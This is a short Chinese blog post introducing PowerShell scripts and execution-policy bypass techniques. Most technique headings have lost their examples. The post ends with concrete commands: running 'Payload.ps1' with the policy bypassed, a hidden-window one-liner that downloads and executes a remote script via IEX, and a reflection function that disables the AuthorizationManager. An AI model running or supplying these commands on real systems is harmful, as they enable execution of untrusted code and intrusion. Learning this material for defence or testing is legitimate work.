powershell脚本初识

1.power shell脚本

1.简单的脚本

 

2. powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于powershell的执行策略

 

3. 查看所支持的执行策略与当前的策略

    Get-ExecutionPolicy

[System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])

Unrestricted:   权限最高,可以不接受限制执行任何脚本
Default:        为powershell默认的策略
Restricted:    不允许任何脚本执行
Allsigned:     所有的脚本都必须经过签名才能运行
Remotesigned:  本地脚本无限制,但是对来自网络的脚本必须经过签名

4.修改策略

5.导入模块执行

 

 6.绕过powershell的执行策略

(1)直接在interactive powershell控制台中输入powershell代码

 

 (2)echo脚本并将其通过管道传递到powershell

 

 (3)从文件读取脚本并通过管道传递到powershell

使用windows的type命令或powershell的get-content命令来从磁盘读取你的脚本并输入到标准的powershell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。

 

 

 

 (4)使用command命令

 

 

 (5)使用EncodeCommand命令

 这和使用“command”命令相似,但是提供了一个unicode/base64编码串。通过这种方式加密你的脚本可以帮绕过所有的command执行时会遇到的错误。

 

 (6)使用invoke-command命令

 

 (7)使用invoke-expression命令

 

 (9)使用“bypass”绕过execution policy

当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止,没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。

 

 (10)使用“unrestricted“标记execution policy

这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本,它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘

 

 (11)通过交换AuthorizationManager禁用executionpolicy

下面的函数可以通过一个交互式的PowerShell来执行。一旦函数被调用"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然而,它的变化将被应用于会话的持续时间。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}

 

 (12)把excutionpolicy设置成process scope

执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术,执行策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写入到磁盘。

 

 (13)通过命令设置excutionpolicy为currentuser scope

 

#本地文件执行
powershell.exe -ExecutionPolicy bypass -File Payload.ps1
powershell.exe exec bypass -Command "& {Import-Module C:\Payload.ps1;Invoke-AllChecks}"

#远程文件执行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的参数]  (去除方括号)

 

2..bat批处理文件

CMD的命令行执行的命令的优先级.bat>.exe,假如有一个cmd.bat在system32的目录下,那么优先执行的是cmd.bat。

posted @ 2020-07-21 17:23  faith-yourself  阅读(676)  评论(0编辑  收藏  举报